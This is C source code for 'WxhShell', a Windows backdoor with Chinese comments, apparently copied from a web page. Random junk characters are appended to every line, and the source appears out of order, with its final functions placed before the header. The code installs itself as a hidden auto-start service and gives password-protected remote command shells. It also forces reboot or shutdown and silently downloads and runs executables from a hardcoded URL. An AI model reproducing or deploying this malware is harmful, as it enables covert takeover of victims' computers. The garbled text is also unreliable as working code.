  case 'd': { O &De!Gx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A +J&(7N  
    if(Boot(SHUTDOWN)) y72=d?]W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &^!vi2$5}  
    else { ;p4|M  
    closesocket(wsh); ZpTT9{PT=:  
    ExitThread(0); F8%.-.l)  
    } ;`MKi5g  
    break; W|aFEY  
    } q_ |YLs`  
  // 获取shell exQU  
  case 's': { 6YeEr!zt%  
    CmdShell(wsh); 2wki21oY  
    closesocket(wsh); )kiC/Y}k  
    ExitThread(0); V]$J&aD  
    break; vfZ.js/  
  } )"Vd8*e  
  // 退出 ,Rh6( I  
  case 'x': { \ZPmPu9^(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BVk&TGa;[$  
    CloseIt(wsh); yG<`7v  
    break; n_X)6 s  
    } ?$&iVN^UA  
  // 离开 P7`sJ("#  
  case 'q': { */JMPw&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y &"rf   
    closesocket(wsh); TUV&9wKXo  
    WSACleanup(); "TboIABp:H  
    exit(1); ndU<,{r  
    break;  UX& ?^]  
        } bzt(;>_8  
  } P5^<c\Mr,Y  
  } chr^>%Q_  
D[ -Gzqh  
  // 提示信息 p Y[dJxB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c8cPGm#i  
} 3Bk_4n  
  } FV->226o%  
#nOS7Q#uW  
  return; }pzUHl>  
} =5jng.  
lQSKY}h  
// shell模块句柄 L)`SNN\ipR  
int CmdShell(SOCKET sock) wZ_k]{J  
{ QC+K:jL  
STARTUPINFO si; eJ3w}"?9s  
ZeroMemory(&si,sizeof(si)); `x0GT\O2-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hH|moj]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !C$bOhc  
PROCESS_INFORMATION ProcessInfo; E 9LKVs}  
char cmdline[]="cmd"; D[5Qd)PIL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wgb e7-{  
  return 0; d?uN6JH9  
} ogrh"  
PfRe)JuB  
// 自身启动模式 "ApVgNB  
int StartFromService(void) 8I X,q  
{ :QV-!  
typedef struct =83FCq"  
{ gISG<!+X^  
  DWORD ExitStatus; "DniDA  
  DWORD PebBaseAddress; j(|9>J*,~G  
  DWORD AffinityMask; /Dl{I7W   
  DWORD BasePriority; _RHB ^y;-  
  ULONG UniqueProcessId; ~rWys=  
  ULONG InheritedFromUniqueProcessId; M' d ,TV[  
}   PROCESS_BASIC_INFORMATION; vCB0 x:/  
Y%B:IeF}  
PROCNTQSIP NtQueryInformationProcess; W".: 1ov#B  
<lBY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -t:~d:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O~1vX9  
).BZPyV<  
  HANDLE             hProcess; ~$O.KF:  
  PROCESS_BASIC_INFORMATION pbi; #:y h2y7a%  
X?'v FC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X4"D Lt"  
  if(NULL == hInst ) return 0; sr+Y"R  
4*K~6Vh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]26 Q*.1~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (")IU{>c6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9mEt**s Ur  
f`dQ $Kh  
  if (!NtQueryInformationProcess) return 0; bCv^za]P6  
f""+jc1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cM= ? {W7~  
  if(!hProcess) return 0; |NsrO8H   
 9z9EK'g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w[bhm$SX]B  
^HYrJr$y  
  CloseHandle(hProcess); yv@td+-"D  
sSM^net0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BO3#*J5S\  
if(hProcess==NULL) return 0; |V 3AA   
{g%F 3-  
HMODULE hMod; Dp5hr8bT  
char procName[255]; bP4<q?FKcN  
unsigned long cbNeeded; ws tH&^  
O$2= Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]CFh0N|(L  
*Z+8L*k97  
  CloseHandle(hProcess); jI-\~  
]Ywj@-*q  
if(strstr(procName,"services")) return 1; // 以服务启动 Xlw8> .\  
6WN1D W  
  return 0; // 注册表启动 /n9yv  
} zj?^,\{A  
Y_H|Fl^  
// 主模块 a<W[???m/M  
int StartWxhshell(LPSTR lpCmdLine) ?W#>9WQi  
{ RW#&f*  
  SOCKET wsl; 5L'bF2SI  
BOOL val=TRUE; mr`Lxy9e  
  int port=0; y2>XLELy  
  struct sockaddr_in door; JwkMRO  
7(q EHZEr  
  if(wscfg.ws_autoins) Install(); [%8t~zg  
V8aLPJ0_  
port=atoi(lpCmdLine); %,l+?fF  
)<.BN p  
if(port<=0) port=wscfg.ws_port; ~s :M l  
W' DpI7  
  WSADATA data; C Rd1zDB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BRTM]tRZ  
F)W7,^=X>-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (#dwIBBFt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F|eKt/>e  
  door.sin_family = AF_INET; A@-A_=a,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YkPc&&#  
  door.sin_port = htons(port); 63J_u-o  
XzX-Q'i=n0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O[N}@%HMW  
closesocket(wsl); *bl*R';  
return 1; `W3;LTPEb  
} S690Y]:h$v  
h\jV@g$  
  if(listen(wsl,2) == INVALID_SOCKET) { 0={@GhjApL  
closesocket(wsl); RjII(4Et  
return 1; j2U iZLuV  
} bVB_KE  
  Wxhshell(wsl); jkPye{j  
  WSACleanup(); muAI$IRR   
'w'P rM,:  
return 0; AI$r^t1  
]6`]+&  
} w3,1ImrXp  
P4M*vZq)  
// 以NT服务方式启动 3$.R=MQ7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }mz6z<pJ_  
{ ou r$Ka31  
DWORD   status = 0; ~f.fg@v`+v  
  DWORD   specificError = 0xfffffff; /EN3>25"#  
*1}UK9X;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O#}'QZd'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i; 8""A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -P+@n)?T6  
  serviceStatus.dwWin32ExitCode     = 0; BCw5.@HK*  
  serviceStatus.dwServiceSpecificExitCode = 0; x1gfo!BN  
  serviceStatus.dwCheckPoint       = 0; ?B)jnBh|  
  serviceStatus.dwWaitHint       = 0; AgOw{bJ%  
Fq]ht*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ewo1^&#>  
  if (hServiceStatusHandle==0) return; 1;; is  
#~&SkIhBE  
status = GetLastError(); $.a4Og2  
  if (status!=NO_ERROR) /[[_}\xI%  
{ rmX'Ym9#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]BY^.!Y  
    serviceStatus.dwCheckPoint       = 0; H nKO  
    serviceStatus.dwWaitHint       = 0; `^rN"\  
    serviceStatus.dwWin32ExitCode     = status; F,t ,Ja  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fk:yj 4'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %gF; A*  
    return; !>~W5c^  
  } Orb('Z,-3  
2wHvHH!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J>I.|@W4  
  serviceStatus.dwCheckPoint       = 0; j}0W|*  
  serviceStatus.dwWaitHint       = 0; SR,id B&i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kRCuc}:SB  
} *, /ADtL  
C*;g!~{  
// 处理NT服务事件,比如:启动、停止 ]h(}%fk_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T-0[P;  
{ g4NxNjM;  
switch(fdwControl) lJ+05\pE  
{ P/BWFN1  
case SERVICE_CONTROL_STOP: e<Hbm  
  serviceStatus.dwWin32ExitCode = 0; ;.=ZwM]C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O!0YlIvWv  
  serviceStatus.dwCheckPoint   = 0; 3?Ml]=u  
  serviceStatus.dwWaitHint     = 0; s Zan.Kc#  
  { ; TaR1e0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N;<.::x  
  } d?j_L`?+  
  return; ~0mO<0~  
case SERVICE_CONTROL_PAUSE: J! ;g.q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '6^20rj  
  break; v6gfyGCJ  
case SERVICE_CONTROL_CONTINUE: ;#3l&HRKH1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h0YIPB  
  break; 8hx4s(1!  
case SERVICE_CONTROL_INTERROGATE: 0!WF,)/T7i  
  break; h$#QRH  
}; K`=O!;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VDCG 5QP6(  
} '=|2, H]  
WaU+ZgDrG  
// 标准应用程序主函数 W`baD!*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &kR+7  
{ +*dG 'U6  
MXS N <  
// 获取操作系统版本 7j9:s>D  
OsIsNt=GetOsVer(); Yx- 2ux  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0mJvoz\j8  
K;%P_f/KJP  
  // 从命令行安装 E7A psi4]  
  if(strpbrk(lpCmdLine,"iI")) Install(); d(.e%[`  
Y{6vW-z_<  
  // 下载执行文件 _l?InNv  
if(wscfg.ws_downexe) { v/n4Lp$W^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \a:#e%]qz9  
  WinExec(wscfg.ws_filenam,SW_HIDE); &RRHmJI:  
} g7($lt>  
|}~2=r z  
if(!OsIsNt) { 7H$0NMP  
// 如果时win9x,隐藏进程并且设置为注册表启动 TU6e,G|t  
HideProc(); ^;";fr Vw  
StartWxhshell(lpCmdLine); 4)L(41h  
} 1Sk=;Bic  
else l(-We.:(  
  if(StartFromService()) TO&ohATp  
  // 以服务方式启动 "O{_LOJ  
  StartServiceCtrlDispatcher(DispatchTable); nz72w_  
else d|GQZAEJEt  
  // 普通方式启动 (w31W[V'#  
  StartWxhshell(lpCmdLine); Gp0H[-oF  
bRSE"B  
return 0;  U 6((  
} k)Y}X)\36  
^ olaq(z  
fE1B1j<  
2nSX90@:  
=========================================== ;x 9_  
en"]u,!  
s@USJ4#  
yc4?'k!  
gbb2!q6p  
 %+\ PN  
" ==zt)s.G(+  
=o N(1k^  
#include <stdio.h> 2K^D%U  
#include <string.h> ,EkzBVgo  
#include <windows.h> ~vqVASUc,  
#include <winsock2.h> |Ai/q6u  
#include <winsvc.h> (0L7Ivg<  
#include <urlmon.h> 3NI3b-7  
pkW }\r  
#pragma comment (lib, "Ws2_32.lib") 3V)ef$Y0  
#pragma comment (lib, "urlmon.lib") 8nt3S m  
{M`yYeo  
#define MAX_USER   100 // 最大客户端连接数 9g*O;0uz  
#define BUF_SOCK   200 // sock buffer =?o,' n0  
#define KEY_BUFF   255 // 输入 buffer ~0}gRpMW  
i!H)@4jX  
#define REBOOT     0   // 重启 &|/@;EA$8  
#define SHUTDOWN   1   // 关机 4o+SSS  
1J`<'{*  
#define DEF_PORT   5000 // 监听端口 #6t 4 vJ1  
"r!>p\.0O  
#define REG_LEN     16   // 注册表键长度 IM.sW'E  
#define SVC_LEN     80   // NT服务名长度 )7$1Da|.  
p`/"e<TP  
// 从dll定义API !n;0%"(FH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  HaJs)j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9Fo00"q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L1'PQV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;^XF;zpg  
12 8aJ  
// wxhshell配置信息 H1?t2\V4  
struct WSCFG { [v@3|@  
  int ws_port;         // 监听端口 xJG&vOf;?  
  char ws_passstr[REG_LEN]; // 口令 -^1}J  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8Zj=:;  
  char ws_regname[REG_LEN]; // 注册表键名 N>R\,n|I  
  char ws_svcname[REG_LEN]; // 服务名 3.i$lp`t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #?x!:i$-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ck:RlF[6C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r] h>Bb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '}4z=f`}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &zuPt5G|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D4@).%  
r6.`9  
};  H7`JqS  
3,ihVVr&P  
// default Wxhshell configuration xq6 eu 9   
struct WSCFG wscfg={DEF_PORT, d#-scv}s5  
    "xuhuanlingzhe", :n#8/'%1  
    1, #$5"&SM  
    "Wxhshell", ;(&$Iw9X  
    "Wxhshell", X8}m %  
            "WxhShell Service", WqX$;' }h  
    "Wrsky Windows CmdShell Service", UL{+mp  
    "Please Input Your Password: ", 0+-"9pED>E  
  1, 1c5+X Cr  
  "http://www.wrsky.com/wxhshell.exe", ae%Bl[  
  "Wxhshell.exe" u+5&^"72,  
    }; *5|;eN  
YC!IIE_  
// 消息定义模块 .<m${yU{3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fL^$G;_?3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !.2tv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HbOLf  
char *msg_ws_ext="\n\rExit."; m|') A  
char *msg_ws_end="\n\rQuit."; O/XG}G.x|  
char *msg_ws_boot="\n\rReboot..."; d4ga6N3'  
char *msg_ws_poff="\n\rShutdown..."; 9"W3t]  
char *msg_ws_down="\n\rSave to "; Yvi.l6JL  
O{vVW9Q  
char *msg_ws_err="\n\rErr!"; ~U;M1>  
char *msg_ws_ok="\n\rOK!"; YkN0,6  
^Z |WD!>`  
char ExeFile[MAX_PATH]; &i(\g7%U  
int nUser = 0; }WowgY  
HANDLE handles[MAX_USER]; c-jE1y<  
int OsIsNt; {PGiNY%q  
u=6LPwiI  
SERVICE_STATUS       serviceStatus; \m xi8Z w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <<FBT`Y[  
{"dvU "y)\  
// 函数声明 B*OEG*t  
int Install(void); R|@?6<  
int Uninstall(void); <r>1W~bp.q  
int DownloadFile(char *sURL, SOCKET wsh); .4[\%r\i  
int Boot(int flag); &Z3u(Eb  
void HideProc(void); ;i 'mma_!  
int GetOsVer(void); `i `F$;  
int Wxhshell(SOCKET wsl); ^)nIf)9}7  
void TalkWithClient(void *cs); Qi=pP/Y  
int CmdShell(SOCKET sock); YigDrW  
int StartFromService(void); }R9>1u}6  
int StartWxhshell(LPSTR lpCmdLine); zhC#<  
(v,g=BS,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g`Kh&|GU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B*@0l:  
;RW0Dn)Q  
// 数据结构和表定义 Hk 0RT%PK  
SERVICE_TABLE_ENTRY DispatchTable[] = 17E,Qnf  
{ d)WGI RUx  
{wscfg.ws_svcname, NTServiceMain}, S'_2o?fs  
{NULL, NULL} TpGnSD  
}; 6/dP)"a('  
q/h , jM  
// 自我安装 3j6Am{9  
int Install(void) ?mp}_x#=  
{ :|HCUZ*H(T  
  char svExeFile[MAX_PATH]; ==Ah& ){4^  
  HKEY key; t" $#KP<  
  strcpy(svExeFile,ExeFile); ysH'X95  
MqAN~<l [  
// 如果是win9x系统,修改注册表设为自启动 'PvOOhm,  
if(!OsIsNt) { Mp3nR5@d$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K'c[r0Ew  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V r7L9%/wg  
  RegCloseKey(key); I_s*pT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4n0Iw  I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `'E(L&  
  RegCloseKey(key); 3Viz0I<%  
  return 0; rqWD#FB=z  
    } e9;5.m  
  } j,79G^/YG  
} Tr.u'b(  
else { mhgvN-? "h  
WB.w3w [f  
// 如果是NT以上系统,安装为系统服务 ce<88dL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s$Vz1B  
if (schSCManager!=0) ZA7b;{o [  
{ W_L;^5Y;m  
  SC_HANDLE schService = CreateService Y`*h#{|  
  ( {nj`>  
  schSCManager, <u}[_  
  wscfg.ws_svcname, E#~J"9k98  
  wscfg.ws_svcdisp, Ly-}HW(  
  SERVICE_ALL_ACCESS, _Wtwh0[r*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PVi0|  
  SERVICE_AUTO_START, qQwf#&  
  SERVICE_ERROR_NORMAL, }vEMG-sxX  
  svExeFile, S=a>rnF  
  NULL, >aAsUL5W  
  NULL, \'6%Ld5km  
  NULL, 9>6?tb"f*H  
  NULL, ?$6(@>`f&t  
  NULL ] 1s6=  
  ); Xd@ d$  
  if (schService!=0) v[4-?7-  
  { /^9=2~b  
  CloseServiceHandle(schService); ?/fC"MJq?  
  CloseServiceHandle(schSCManager); ,R}9n@JI^Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ncpNesB  
  strcat(svExeFile,wscfg.ws_svcname); wz{&0-md*'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S@ @#L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U E-1p  
  RegCloseKey(key); N (0%C?  
  return 0; Y?V.O  
    } X- j@#Qb  
  } Z_4|L+i<{  
  CloseServiceHandle(schSCManager); avY<~-44B  
} .naSK`J,`  
} {XH3zMk[  
J|u_45<  
return 1; 1oI2  
} b/d 1(B@  
BUUc9&f3o  
// 自我卸载 TR9dpt+T  
int Uninstall(void) ap<r )<u  
{ D$Ao-6QE W  
  HKEY key; s]pNT1,  
m#^;V  
if(!OsIsNt) { c6cB {/g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MDoV84Fh  
  RegDeleteValue(key,wscfg.ws_regname); o|APsQE  
  RegCloseKey(key); ~{ucr#]C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D%= j@  
  RegDeleteValue(key,wscfg.ws_regname); ;NF:98  
  RegCloseKey(key); !8|?0>3)  
  return 0; K?Jo"oy7  
  } `(xzCRX  
} ]VaMulb4  
} Uka(Vr:  
else { j/F:j5O*  
sn8l3h)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GC[Ot~*_  
if (schSCManager!=0) &hJQHlyJM0  
{ _q}^#-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C,B{7s0-  
  if (schService!=0) ),lE8A{ H  
  { A&{eC C  
  if(DeleteService(schService)!=0) { A+Kp ECP  
  CloseServiceHandle(schService); -ZoAbp$  
  CloseServiceHandle(schSCManager); U lPhW~F)  
  return 0; y;f nC5Q  
  } r` sG!  
  CloseServiceHandle(schService); XHm6K1mGZ  
  } De\Ocxx  
  CloseServiceHandle(schSCManager); kBtzJ#j B  
} Q"K`~QF"  
} IeAi'  
C3KAQ U  
return 1; n2Y a'YF  
} N7!(4|14  
"(iQ-g Mm  
// 从指定url下载文件 drJUfsxV  
int DownloadFile(char *sURL, SOCKET wsh) usw(]CnH  
{ !O4)Y M  
  HRESULT hr; TiKfIv  
char seps[]= "/"; LCqWL1  
char *token; S& F;~  
char *file; x_- SAyH  
char myURL[MAX_PATH]; ywj'O e41  
char myFILE[MAX_PATH]; ~<"{u-q#K  
7*r!-$  
strcpy(myURL,sURL); 0GQKM~|H  
  token=strtok(myURL,seps); _sQhDi  
  while(token!=NULL) or(P?Ro  
  { -HRa6  
    file=token; Q zY5S0  
  token=strtok(NULL,seps); 2]Ei4%jo  
  } $U'*}S  
VuuF _y;  
GetCurrentDirectory(MAX_PATH,myFILE); oGL2uQXX  
strcat(myFILE, "\\"); l - ~PX  
strcat(myFILE, file); MADt$_  
  send(wsh,myFILE,strlen(myFILE),0); {d%hkbN+{  
send(wsh,"...",3,0); +A1xqOB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !.7m4mKzo  
  if(hr==S_OK) \"P$*y4Le  
return 0; :ay`Id_tm  
else ]?_V+F  
return 1; Ue=1NnRDkA  
=(Y+u  
} [f?x ,W~  
0y%s\,PsT  
// 系统电源模块 S~B{G T\M  
int Boot(int flag) Zbf~E {  
{ ,Y@4d79  
  HANDLE hToken; IO"q4(&;P4  
  TOKEN_PRIVILEGES tkp; yY!@FGsA  
o4,9jk$  
  if(OsIsNt) { &(NW_ <(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'JJ :  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); of>H&G)@  
    tkp.PrivilegeCount = 1; A`V:r2hnb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~n%]u! 6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4 ;^  
if(flag==REBOOT) { h5lngw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #KDN  
  return 0; tdNAR|  
} AIw~@*T  
else { < fYcON  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #(-?i\i  
  return 0; 58]t iP"  
} 0+k=gO  
  } vkLyGb7r<  
  else { +< )H2  
if(flag==REBOOT) { gyob q'o-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  >1q:-^  
  return 0; ckbD/+  
} ,S1'SCwVdJ  
else { 7e Hj"_;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fu65VLKh  
  return 0; hmI> 7@&  
} %V92q0XW  
} x) R4_ 3  
)jMk ~;'r  
return 1; IeB^BD+j  
} V5+|H1=  
9L>ep&u)^  
// win9x进程隐藏模块 uExYgI`<%&  
void HideProc(void) [pz1f!Wn  
{ v"dl6%D"  
B \.0 5<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); US&:UzI.  
  if ( hKernel != NULL ) B~%SB/eu  
  { 9w-;d=(Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MX7$f (Hy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VVc-Dx  
    FreeLibrary(hKernel); ,PX7}//X^  
  } uC?/p1  
j^ttTq|l  
return; hne}G._b  
} ~'LoIv20j)  
l>pnY%(A  
// 获取操作系统版本 MaP-   
int GetOsVer(void) 4TcW%  
{ tw<}7l_>Au  
  OSVERSIONINFO winfo; Q.SqOHeJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JiGS[tR  
  GetVersionEx(&winfo); *s!T$oc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WDh*8!)  
  return 1; DK<}q1xi  
  else -_f-j  
  return 0; ! ;R}=  
} G.qjw]Llf  
J:\O .F#Fi  
// 客户端句柄模块 aK8X,1g%)  
int Wxhshell(SOCKET wsl) I}\`l+  
{ cLIeo{H  
  SOCKET wsh; _ Uv3g lK  
  struct sockaddr_in client; ^NrC8,p  
  DWORD myID; F "-GhjK  
;RW5XnVx  
  while(nUser<MAX_USER) dDqT#N?Y  
{ Z`ZML+;~6  
  int nSize=sizeof(client); XpdjWLO]C<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SKJ'6*6  
  if(wsh==INVALID_SOCKET) return 1; xsg55`  
kj`h{Wc[)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uC"Gm;0  
if(handles[nUser]==0) xgWVxX^)  
  closesocket(wsh); LP} j0)n  
else 9iGp0_J  
  nUser++; )>!y7/3  
  } yXro6u?rC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r?WOum  
8VMD304  
  return 0; "O%xQ N  
} p:Zhg{sF  
u7 {R; QKw  
// 关闭 socket KvlLcE~`o  
void CloseIt(SOCKET wsh) !8o;~PPVl  
{ 1P/4,D@  
closesocket(wsh); +P=I4-?eX  
nUser--; MQVEO5   
ExitThread(0); W 6CNMI]  
} !H`uN  
cB7'>L  
// 客户端请求句柄 Y%8[bL$ d  
void TalkWithClient(void *cs) IR"=8w#MP  
{ @&2# kO~=  
(?z"_\^n/  
  SOCKET wsh=(SOCKET)cs; yj mNeZ  
  char pwd[SVC_LEN]; O2Tna<cR&  
  char cmd[KEY_BUFF]; I0OfK3!^  
char chr[1]; -aIB_  
int i,j; cnM`ywKW  
S oB6F9  
  while (nUser < MAX_USER) { ]dnB ,  
I(+%`{Wv  
if(wscfg.ws_passstr) { 3E;<aCG?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %F]:nk`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g #[,4o;  
  //ZeroMemory(pwd,KEY_BUFF); 0vcFX)]yW  
      i=0; Wp//SV  
  while(i<SVC_LEN) { \PK}4<x}  
u=sZFr@m[  
  // 设置超时 6"La`}B(T8  
  fd_set FdRead; 4z,n:>oH  
  struct timeval TimeOut; +qmV|$rmM  
  FD_ZERO(&FdRead); j.UO>1{7  
  FD_SET(wsh,&FdRead); ./}W3  
  TimeOut.tv_sec=8; _Zbgmasb  
  TimeOut.tv_usec=0; ]]|vQA^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u]Dds;~"b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B@,#,-=  
]ru UX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E^t}p[s  
  pwd=chr[0]; LZA pz}  
  if(chr[0]==0xd || chr[0]==0xa) { "@ @Z{  
  pwd=0; o*s3"Ib  
  break; pv,I_"  
  } Dqm;twd>  
  i++; =%9j8wHX  
    } 0/zgjT|fe  
3 ~\S]  
  // 如果是非法用户,关闭 socket `6y\.6j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); axdRV1+s  
} xMo'SpVz:  
?4lDoP{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B0:/7Ld$Ml  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ml9  
J.n-4J#@  
while(1) { i UW.$1l  
G0v<`/|>}  
  ZeroMemory(cmd,KEY_BUFF); go5l<:9  
BY??X=  
      // 自动支持客户端 telnet标准   n; *W#c  
  j=0; 3+iQct[  
  while(j<KEY_BUFF) { S$i3/t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,98`tB0  
  cmd[j]=chr[0]; x-@6U  
  if(chr[0]==0xa || chr[0]==0xd) { ZVz`-h B  
  cmd[j]=0; f}+8m .g2  
  break; D2Dk7//82Y  
  } G:{\-R'  
  j++; r#/Bz5Jb*  
    } C07U.nzh  
ftbOvG/ I  
  // 下载文件 zNJ-JIo%  
  if(strstr(cmd,"http://")) { rqYx\i?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !!UQ,yU  
  if(DownloadFile(cmd,wsh)) x|<89o L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @3I/57u<  
  else \k*h& :$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lcEin*Oc  
  } } OAH/BW  
  else { a1# 'uS9W  
o|7 h  
